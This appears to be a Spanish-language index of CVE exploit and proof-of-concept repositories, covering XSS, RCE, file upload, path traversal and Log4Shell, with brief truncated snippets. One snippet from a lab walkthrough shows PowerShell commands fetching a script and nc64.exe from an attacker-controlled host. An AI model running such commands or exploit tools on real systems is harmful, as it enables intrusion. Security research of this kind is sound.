CVE-2025-26054

CVE-2025-26054 CVE-2025-26054 Autor: Rohan Deshpande Cross-Site Scripting Almacenado Resumen El XSS almacenado Cross-Site Scripting es una vulnerabilidad de seguridad que ocurre cuando un atacante inyecta scripts maliciosos en una aplicación web, que luego se almacenan en el servidor y se sirven ...

CVE-2026-19745

Introducción Hola a todos, en mayo encontré vulnerabilidades decentes en mi router, ¡hoy por fin puedo enseñárselas a todos! Ambas vulnerabilidades en este repositorio son vulnerabilidades de Denegación de Servicio autenticadas. No conozco los detalles técnicos exactos de cómo o por qué funcionan...

CVE-2019-7219

CVE-2019-7219 CVE-2019-7219 Zarafa Webapp Autor: verifysecurity Al menos la versión de Webapp 1.6-46049 hasta 2.0.1.47791 está afectada. hxxps://127.0.0.1/webapp/?fccc0"5f43d=1...

CVE-2025-3248

CVE-2025-3248 Documentación de la herramienta de explotación Introducción Esta herramienta se utiliza para explotar la vulnerabilidad CVE-2025-3248 una vulnerabilidad de inyección de código basada en Python mediante la construcción de un payload malicioso para lograr la ejecución remota de comand...

checkmk_cve-2024-0670

checkmkcve-2024-0670 ┌──root㉿kali-/HTB/NanoCorp └─ python3 -m http.server 80 PS C:\windows\temp iwr http://10.10.16.10/zh.ps1 -outfile "c:\windows\temp\zh.ps1" PS C:\windows\temp iwr http://10.10.16.10/nc64.exe -outfile "c:\windows\temp\nc64.exe" PS C:\windows\temp iwr...

CVE-2026-94132

Joomla Extension - acymailing.com - Remote Code Execution vulnerability in mailbox action feature in AcyMailing Enterprise extension 11.1.0 - MIME parts of incoming emails were saved to media/comacym/upload/ with no extension check, so anyone who could email the monitored mailbox could write a PH...

CVE-2024-44871

MoziloCMS = 3.0.1 Authenticated RCE Description This script is an exploit tool designed for testing web applications running MoziloCMS. It allows an attacker to use admin logins to upload a PHP web shell via jpg file, rename the uploaded file to php, and send system commands to the target through...

CVE-2022-24716

CVE-2022-24716 Exploit para la vulnerabilidad: Vulnerabilidad de divulgación de archivos arbitrarios en Icinga Web 2 2.8.6, 2.9.6, 2.10 https://www.sonarsource.com/blog/path-traversal-vulnerabilities-in-icinga-web/ Ayuda: python3 exploit.py -h Ejemplo de uso: python3 -u http://127.0.0.1:8080 -f...

CVE-2024-24142

CVE-2024-24142: School-Task-Manager-System-SQL-Injection-2 Prueba de Concepto PoC : https://github.com/BurakSevben/CVEs/blob/main/School-Task-Manager-System/CVE-2024-24142.md Prueba de Concepto PoC : https://github.com/BurakSevben/CVE-2024-24142/blob/main/CVE-2024-24142.md...

CVE-2024-22890

CVE-2024-22890: Mi aplicación e-Diary - Cross-Site-Scripting Prueba de ConceptoPoC : https://github.com/BurakSevben/CVEs/blob/main/CVE-2024-22890.md Prueba de ConceptoPoC : https://github.com/BurakSevben/CVE-2024-22890/blob/main/CVE-2024-22890.md...

CVE-2024-2054

CVE-2024-2054 Aplicación web administrativa de Artica-Proxy: deserialización insegura RCE Una prueba de concepto de exploit para la aplicación web administrativa ARTICA PROXY CVE-2024-2054 Entrada del blog Más detalles aquí:...

log4shell-vulnweb

Copyright © 2023 Red Team 2 este sitio web es vulnerable a CVE-2021-44228...

Exploit-CVE-2024-26503

Herramienta de Explotación RCE para Open eClass Esta herramienta está diseñada para explotar una vulnerabilidad conocida CVE-2024-26503 en plataformas Open eClass, permitiendo la ejecución remota de código RCE a través de una falla de carga de archivos sin restricciones. La vulnerabilidad permite...

JoomlaCVE20168869

Exploit para Joomla 3.4.4 - 3.6.4 CVE-2016-8869 y CVE-2016-8870 con subida de archivos web shell Esta es una versión en PHP, el código fuente original en Python fue proporcionado por @link https://github.com/XiphosResearch/exploits/tree/master/Joomraa Usage: php exploit.php --username hacker -p...

CVE-2025-1304

🚨 Tema NewsBlogger de WordPress = 0.2.5.1 - Subida Arbitraria de Archivos CVE-2025-1304 Puntuación CVSS: 8.8 Alta Tipo de vulnerabilidad: Subida Arbitraria de Archivos Componente: Tema de WordPress ID de CVE: CVE-2025-1304 🔥 Resumen de la vulnerabilidad El tema NewsBlogger de WordPress versiones ...

POC-CVE-2016-10033

POC-CVE-2016-10033 Primero, pongamos en marcha la aplicación vulnerable Paso 1: Ejecute el siguiente comando para obtener la imagen Docker vulnerable del repositorio de Docker. Comando: docker pull vulnerables/cve-2016-10033 Paso 2: Ejecutar la imagen Docker en Docker Desktop, exponiendo el puert...

CVE-2022-24715

CVE-2022-24715 Icinga Web 2 - Ejecución Remota de Código Autenticada 2.8.6, 2.9.6, 2.10 DESCARGO DE RESPONSABILIDAD: Este script está diseñado para auditar la seguridad de los sistemas. Úselo solo en sus propios sistemas o en sistemas para los que tenga permiso por escrito para explotar...

fortinet-fortiweb-cve-2025-64446-58034

Comprendiendo las vulnerabilidades de Fortinet FortiWeb CVE-2025-64446, CVE-2025-58034 1. Resumen Fortinet FortiWeb es un dispositivo Web Application Firewall WAF ampliamente implementado en los sistemas empresariales para proteger las aplicaciones web frente a amenazas comunes. Dado que FortiWeb...

l4s-vulnapp

Aplicación vulnerable Log4Shell l4s-vulnapp Esta es una aplicación web Java potencialmente vulnerable que contiene Log4j 2.14.1, afectada por log4shell CVE-2021-44228. Entorno verificado y distintas versiones AdoptOpenJDK 17.0.10+7 Gradle 8.6 Gretty 4.1.2 Apache Tomcat 10.1.15 Apache Log4j Core...

aws__aws-sdk-java_CVE-2022-31159_1-12-2600

AWS SDK para Java El AWS SDK para Java permite a los desarrolladores de Java trabajar fácilmente con Amazon Web Servicesaws y crear soluciones escalables con Amazon S3, Amazon DynamoDB, Amazon Glacier y más. Consulta el AWS SDK para Java 2.xaws-sdk-for-java-2x para saber cómo empezar. En modo de...